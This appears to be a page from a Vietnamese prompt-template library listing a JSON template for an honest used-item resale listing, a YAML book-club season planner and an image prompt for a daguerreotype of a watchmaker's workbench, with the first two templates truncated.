Chuyển đổi các ghi chú và mô tả hình ảnh của một món đồ đã qua sử dụng thành một gói thông tin đăng bán lại theo chuẩn JSON nghiêm ngặt: phân loại tình trạng trung thực công khai mọi khuyết điểm, mức giá bán nhanh, giá niêm yết và giá sàn dựa trên bằng chứng thực tế, tiêu đề và mô tả bài đăng, danh sách kiểm tra ảnh chụp, câu hỏi thường gặp của người mua (FAQ), kế hoạch thương lượng, và các bước bàn giao an toàn.

1{
2 "role": "Người bán hàng giàu kinh nghiệm trên sàn đồ cũ, chuyên viết các bài đăng bán hàng trung thực, chốt đơn nhanh và định giá món đồ đã qua sử dụng dựa trên bằng chứng thực tế",
3 "task": "Chuyển đổi các ghi chú và mô tả ảnh chụp của tôi về một món đồ đã qua sử dụng thành một gói bài đăng bán lại hoàn chỉnh, trung thực dưới dạng một đối tượng JSON nghiêm ngặt duy nhất: phân loại tình trạng, định giá kèm lập luận, tiêu đề và mô tả sẵn sàng đăng lên các sàn thương mại, danh sách kiểm tra ảnh chụp, câu hỏi thường gặp của người mua, kế hoạch thương lượng, và các bước bàn giao an toàn.",
4 "context": {
5 "item": "${item:standing desk with electric height adjustment}",
6 "brand_and_model": "${brand_model:unknown brand, about 140 x 70 cm top}",
7 "age_and_usage": "${age_usage:bought three years ago, used daily in a home office}",
8 "seller_notes": "${notes:small scratch on the front edge, one motor makes a light hum, original manual lost}",
9 "photo_descriptions": "${photos:front view, top surface close-up, control panel, legs at full height}",
10 "original_price": "${original_price:450 EUR}",
...+122 dòng nữa
JSONPricingSales+2
F@f
0
Trình lập kế hoạch mùa sinh hoạt Câu lạc bộ Sách (YAML)
Văn bản

Lập kế hoạch cho toàn bộ một mùa sinh hoạt câu lạc bộ sách dưới dạng YAML: danh sách đọc cân bằng kèm ghi chú nội dung và định dạng, lịch họp được kiểm tra tiến độ đọc, hướng dẫn thảo luận có lưu ý tránh tiết lộ nội dung (spoiler), mẹo điều phối cho thành viên trầm tính và thành viên nói nhiều, luân phiên người chủ trì, chào đón thành viên mới, và khảo sát phản hồi cuối mùa.

1role: Người tổ chức câu lạc bộ sách chu đáo và người điều phối thảo luận
2task: >
3 Lập kế hoạch trọn vẹn một mùa sinh hoạt cho câu lạc bộ sách dưới dạng YAML: danh sách sách đọc cân bằng, lịch
4 họp phù hợp với tốc độ đọc của các thành viên, hướng dẫn thảo luận sâu sắc vượt ra ngoài câu hỏi "bạn có thích cuốn sách không",
5 phân công nhiệm vụ chủ trì và luân phiên, các tùy chọn hỗ trợ tiếp cận, cùng những cách đơn giản để giữ chân các thành viên
6 hào hứng tham gia và chào đón người mới.
7
8inputs:
9 club_name: ${club_name:Second Tuesday Readers}
10 members: ${members:9 adults, mixed ages, two new this season}
...+84 dòng nữa
PlanningYAMLCommunity+2
F@f
0
Ảnh Daguerreotype chụp Bàn làm việc của Thợ đồng hồ với Đồng hồ bỏ túi mở nắp và Bánh răng đồng
Hình ảnh
Ảnh Daguerreotype chụp Bàn làm việc của Thợ đồng hồ với Đồng hồ bỏ túi mở nắp và Bánh răng đồng

Ảnh tĩnh vật daguerreotype những năm 1850 chụp bàn làm việc của một người thợ đồng hồ: những chiếc đồng hồ bỏ túi mở nắp, bánh răng bằng đồng thau, đồng hồ lộ máy (skeleton clock) dưới lồng kính, kính lúp, nhíp gắp và đèn dầu dưới ánh sáng cửa sổ, mang vẻ đẹp tấm đồng tráng bạc như gương, quầng xỉn màu, vết xoáy mờ và khung viền bằng đồng thau mỏng.

Một chiếc bàn làm việc cổ của người thợ đồng hồ bày đầy những chiếc đồng hồ bỏ túi đang mở nắp, những bánh răng bằng đồng thau nằm rải rác, một chiếc lồng kính hình chuông nhỏ úp trên chiếc đồng hồ để bàn lộ máy (skeleton clock), kính lúp thợ kim hoàn, chiếc nhíp mảnh và một cây đèn dầu, được chụp theo kỹ thuật ảnh daguerreotype những năm 1850. Hình ảnh hiện lên trên một tấm đồng tráng bạc sáng như gương với dải sắc độ xám bạc lạnh, vùng tối sâu mượt như nhung và những vùng sáng dịu lấp lánh như kim loại được đánh bóng. Chi tiết cực kỳ sắc nét ở từng răng cưa bánh răng và bộ máy đồng hồ chạm khắc tinh xảo, với độ sâu trường ảnh nông do phơi sáng lâu. Ánh sáng rọi nhẹ nhàng từ một khung cửa sổ cao ở phía bên trái, bắt sáng vào các cạnh đồng thau và chiếc lồng kính. Phía sau bàn làm việc, một chiếc tủ gỗ treo tường có nhiều ngăn kéo nhỏ và vài chiếc đồng hồ treo tường chìm dần vào bóng tối dịu nhẹ. Các dấu vết chân thực của tấm bản kẽm: quầng xỉn màu tinh tế quanh rìa ảnh, những vệt xoáy mờ, những hạt bụi nhỏ li ti và sắc ánh kim xanh-đồng nhè nhẹ ở những vùng tối nhất, được đóng khung bởi một viền đồng thau mỏng chạm trổ hoa văn với các góc bo tròn. Bầu không khí bình yên, tĩnh lặng, vượt thời gian. Khung hình ngang rộng 16:9. Không có người, không có bàn tay, không có chữ, không có chữ cái, không có logo.
PhotographyVisualArt+2
F@f
0
Previous12 / 19Next